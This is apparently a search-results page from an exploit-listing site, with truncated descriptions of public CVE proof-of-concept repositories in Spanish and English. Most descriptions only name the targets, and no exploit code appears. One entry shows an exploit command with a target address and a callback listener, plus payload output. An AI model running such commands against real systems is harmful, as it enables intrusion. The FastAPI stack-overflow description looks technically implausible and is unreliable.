836493 matches found
CVE-2017-1000486
CVE-2017-1000486 Exploit de ejecución remota de código para PrimeFaces 5.x - Inyección de EL CVE-2017-1000486 Básicamente es el mismo exploit creado por Mogwailabs, pero modificado para funcionar en entornos cerrados sin acceso a internet o con tráfico saliente bloqueado por el firewall. Te da lo...
varlib-cve-2025-66034
fontTools varLib CVE-2025-66034 Exploit This repo doesn't introduce a new vulnerability. This is a Proof-of-concept exploit for CVE-2025-66034 affecting the fontTools varLib variable font generation pipeline...
CVE-2014-5284
CVE-2014-5284 Implementación en Bash de CVE-2014-5284 Título del exploit: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation Python es bueno, pero no siempre funciona Autor del exploit: mbadanoiu Autor del exploit en Python: skynet-13 Página del proveedor: www.ossec.net...
CVE-2023-6553-RCE-Exploit
🔥 CVE-2023-6553 — WordPress Backup Migration RCE Ejecución Remota de Código no autenticada a través de la cadena de filtros PHP Prueba de concepto del exploit para CVE-2023-6553 — una vulnerabilidad crítica de RCE no autenticado en el plugin "Backup Migration" de WordPress versiones ≤ 1.3.7. 📋...
CVE-2024-22198_Checker
CVE-2024-22198 - authenticated remote code execution in Nginx-ui Description This tool made for remote checking your Nginx-ui version and notify if it's vulnerable to CVE-2024-22198. Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by...
CVE-2020-15492
CVE-2020-15492 Esta vulnerabilidad fue descubierta y divulgada por mí. Este repositorio contendrá el aviso, los exploits y el ejecutable de configuración del software vulnerable para que uno pueda experimentar con esta vulnerabilidad. Este repositorio es solo con fines educativos. Enlaces Aviso...
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection
CVE-2019-3778-Spring-Security-OAuth-2.3-Redirección-Abierta Spring Security OAuth 2.3 Redirección Abierta 分析复现篇 Título del Exploit: Redireccionador Abierto en spring-security-oauth2 Fecha: 17 Junio 2019 Autor del Exploit: Riemann Página del Proveedor:...
CVE-2024-49368
Nginx UI Exploit Setup This guide outlines the steps to set up Nginx UI using Docker Compose, create a user, run an exploit, and verify the results within the Docker container. Prerequisites Ensure you have Docker and Docker Compose installed on your machine. Familiarity with basic command-line...
IonStack-S22-cve-2026-43499
IonStack-S22-cve-2026-43499 MERGED WITH ORIGINAL REPO: Find it here https://github.com/CamsShaft/IonStack-S22 Full root in the kernel domain with selinux permissive on my SM-S901W S22 5.10.168-android12-9-27760517-abS901WVLS4DWL3. NOTES: I'm not going into great detail or lengths in this one sinc...
CVE-2022-2588
CVE-2022-2588 La corrección El error está corregido en Linux v5.19 mediante este commit. El error El error se introdujo en Linux v3.17 mediante este commit en 2014. Requiere User Namespaces para activarse. Este error es muy similar a CVE-2021-3715, causado por una operación incorrecta en la lista...
Shellshock
Shellshock Exploit CVE-2014-6271 Exploit Description This repository contains an exploit for a vulnerability that affects unix-based systems. Please note that this is merely a proof-of-concept script created for educational purposes and should be used responsibly. This exploit is designed to...
file-away-exploit
File-Away Exploit CVE-2025-2539 & CVE-2025-2512 📌 Purpose This repository contains vulnerabilities details and scripts found on File-Away, which is a WordPress plugin used to file management. This plugin contains two vulnerabilities that can lead to remote code execution Tested on File-Away...
CVE-2025-23266
CVE-2025-23266 Author: Mark Mallia Target platform: Ubuntu 22.04, FastAPI v2.4.3 → patched to v2.5.1 on 2025‑10‑02 1 – In a nutshell: what does this attack involve FastAPI’s parserequest routine copies HTTP request headers into a small buffer that lives on the caller’s stack. If an attacker sends...
CVE-2025-29927
CVE-2025-29927 - Next.js Middleware 15.2.2 - Bypass de Autorización ⚠️ Bypass crítico de autenticación en NextJS Middleware 🛠️ Implementación del PoC por @zs1n 💡 Resumen NextJS es un framework web popular basado en React que tiene una vulnerabilidad de autenticación que afecta a versiones...
CVE-2022-24715
CVE-2022-24715 Icinga Web 2 - Authenticated Remote Code Execution 2.8.6, 2.9.6, 2.10 DISCLAIMER: This script is made to audit the security of systems. Only use this script on your own systems or on systems you have written permission to exploit...
CVE-2024-25641---Cacti
CVE-2024-25641---Cacti Exploit de Cacti...
CVE-2026-4480
ejecutar exploit: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload:...
HTB_Nibbles
HTBNibbles In this repository you will find the technical report of Nibbles, the exploit pwned.py to abuse the CVE-2015-6967 and an autopwn tool autopwn.py in case you want to resolve the machine in HackTheBox. Pwned.py tool: This file will help you to exploit CVE-2015-6967. If you want to run th...